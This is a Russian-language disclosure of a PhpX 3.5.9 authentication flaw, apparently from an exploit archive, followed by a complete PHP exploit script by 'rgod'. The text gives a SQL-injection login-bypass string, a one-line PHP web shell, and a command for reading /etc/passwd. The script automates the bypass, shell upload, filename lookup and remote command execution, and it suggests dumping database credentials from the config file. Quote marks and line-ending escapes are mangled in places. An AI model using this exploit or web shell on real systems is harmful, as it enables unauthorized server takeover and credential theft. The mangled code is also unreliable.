Описание:
Уязвимость обнаружена в файле auth.inc.php в строчках 22-26, и вызвана как
всегда не достаточной фильтрацией. Видимо это бич всех PHP приложений еще долго
будет приностить хакерам немалый доход с сайтов на PHP.
Переменная «username» недостаточно фильтруется, и если опция
magic_quotes_gpc установлена в off, вы сможете обойти авторизацию в
административной панели:
Перейдите по ссылке:
http://[target]/[path]/admin/
и в форме для авторизации введите:
username: 'or user_id=2/*
password: [nothing]
и вы получаете доступ к административному аккаунту. После этого возможно
загрузить на сервер файл: cmd.php.menu с кодом:
<?php system($_GET[cmd]); ?>
Файл переименуется, (к примеру станет называться:11333717941--cmd.php.menu), но
вы сможете узнать его имя.
Теперь вы можете исполнять команды:
http://[target]/[path]/files/11333717941--cmd.php.menu?cmd=cat%20/etc/passwd
Эксплоит:
<?php
# 19.17 28/09/2005 18.15 30/11/2005 #
# #
# -- PhpX_359_xpl.php #
# #
# PhpX <=3.5.9 SQL injection->login bypass->remote commands xctn exploit #
# by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch this script from Apache, fill requested fields, then go… #
# #
# Sun-Tzu: «The onrush of a conquering force is like the bursting of pent-up #
# waters into a chasm a thousand fathoms deep» #
error_reporting(0);
ini_set(«max_execution_time»,0);
ini_set(«default_socket_timeout», 2);
ob_implicit_flush (1);
echo'<html><head><title>PhpX <=3.5.9 SQL injection/remote commands xctn exploit
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
PhpX <=3.5.9 SQL injection/remote commands xctn exploit </p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/phpx/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command «cat ./../admin/includes/config.inc.php» to
see database username & password (against Win: «type …adminincludesconfig.
inc.php»)</span> </p><p> <input type="text" name="port"> <span class="Stile5">
specify a port other than 80 ( default value ) </span></p> <p> <input
type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP
proxy (ip:port)</span></p><p><input type="submit" name="Submit" value="go!"></p>
</form> </td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo «<td> </td>»;
for ($li=0; $li<=15; $li++)
{ echo «<td>».$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo «</tr><tr>»;
}
if (strlen($datai)==1) {echo «<td>0».$datai."</td>";} else
{echo «<td>».$datai."</td> «;}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 — (strlen($headeri) % 16)+1); $li++)
{ echo „<td>  </td>“;
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo „<td>“.$headeri[$li].»</td>";
}
echo «</tr></table>»;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . «<br>»;
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy…';
die;
}
echo «OK.<br>»;
echo «Attempting to connect to „.$host.“ on port „.$port.“…<br>»;
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy…<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.rnReason: («.$result.») « .
socket_strerror($result) . „<br><br>“;
}
else
{
echo „OK.<br><br>“;
$html= '';
socket_write($socket, $packet, strlen($packet));
echo „Reading response:<br>“;
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo „Closing socket…“;
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy…';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy…<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy…';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the
path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace(„rn“,»",$host);
$path=str_replace(«rn»,"",$path);
$SQL="'or user_id=2/*";
$SQL=urlencode($SQL);
#STEP 1 -> Login Bypass…
$data="username=".$SQL."&password=&login=yes";
$packet="POST «.$p.»admin/index.php HTTP/1.1rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";
$packet.="Referer: http://".$host.":".$port.$path."admin/login.php?code=irn";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="User-Agent: Googlebot/2.1 rn";
$packet.="Host: «.$host.»rn";
$packet.="Content-Length: «.strlen($data).»rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachernrn";
$packet.=$data;
show($packet);
sendpacketii($packet);
if (eregi(«Location: index.php»,$html)) {echo «Exploit succeeded…<br>»;}
else {die(«Exploit failed…»);}
$temp=explode(«Set-Cookie: „,$html);
$temp2=explode(' ',$temp[1]);
$COOKIE=$temp2[0];
echo '<br>Your cookie: '.htmlentities($COOKIE);
#STEP 2 -> Shell upload…
$data='-----------------------------7d5baf306c0
Content-Disposition: form-data; name=“confirm»
1
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file1"; filename="C:suntzu.php.menu"
Content-Type: text/plain
<?php error_reporting(0);ini_set(«max_execution_time»,0);system($_GET[cmd]);?>
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file2"; filename=""
Content-Type: application/octet-stream
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file3"; filename=""
Content-Type: application/octet-stream
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file4"; filename=""
Content-Type: application/octet-stream
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="file5"; filename=""
Content-Type: application/octet-stream
-----------------------------7d5baf306c0
Content-Disposition: form-data; name="more"
0
-----------------------------7d5baf306c0--';
$packet="POST «.$p.»admin/images.php?action=create HTTP/1.1rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";
$packet.="Referer:
http://".$host.":".$port.$path."admin/images.php?action=creatern";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d5baf306c0rn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="User-Agent: IncyWincy data gathererrn";
$packet.="Host: «.$host.»rn";
$packet.="Content-Length: «.strlen($data).»rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: «.$COOKIE.»rnrn";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 3 -> Retrieve filename from file list…
$packet="GET «.$p.»admin/images.php HTTP/1.1rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";
$packet.="Referer:
http://".$host.":".$port.$path."admin/images.php?action=creatern";
$packet.="Accept-Language: enrn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="User-Agent: Jakarta Commons-HttpClient/3.0-rcxrn";
$packet.="Host: «.$host.»rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: «.$COOKIE.»rnrn";
show($packet);
sendpacketii($packet);
$temp=explode('suntzu.php.menu',$html);
$i=count($temp)-1;
$temp2=explode(«/files/»,$temp[$i-1]);
$i=count($temp2)-1;
$FILENAME=$temp2[$i].'suntzu.php.menu';
echo '<br>File has been renamed as: '.htmlentities($FILENAME);
#STEP 4 -> Launch commands…
$packet="GET «.$p.»files/".$FILENAME."?cmd=".urlencode($command)."
HTTP/1.1rn";
$packet.="Host: «.$host.»rn";
$packet.="User-Agent: Googlebot-Image/1.0
(+http://www.googlebot.com/bot.html)rn";
$packet.="Connection: Closernrn";
show($packet);
sendpacketii($packet);
}
else
{echo «Fill * required fields, optionally specify a proxy…»;}
?>
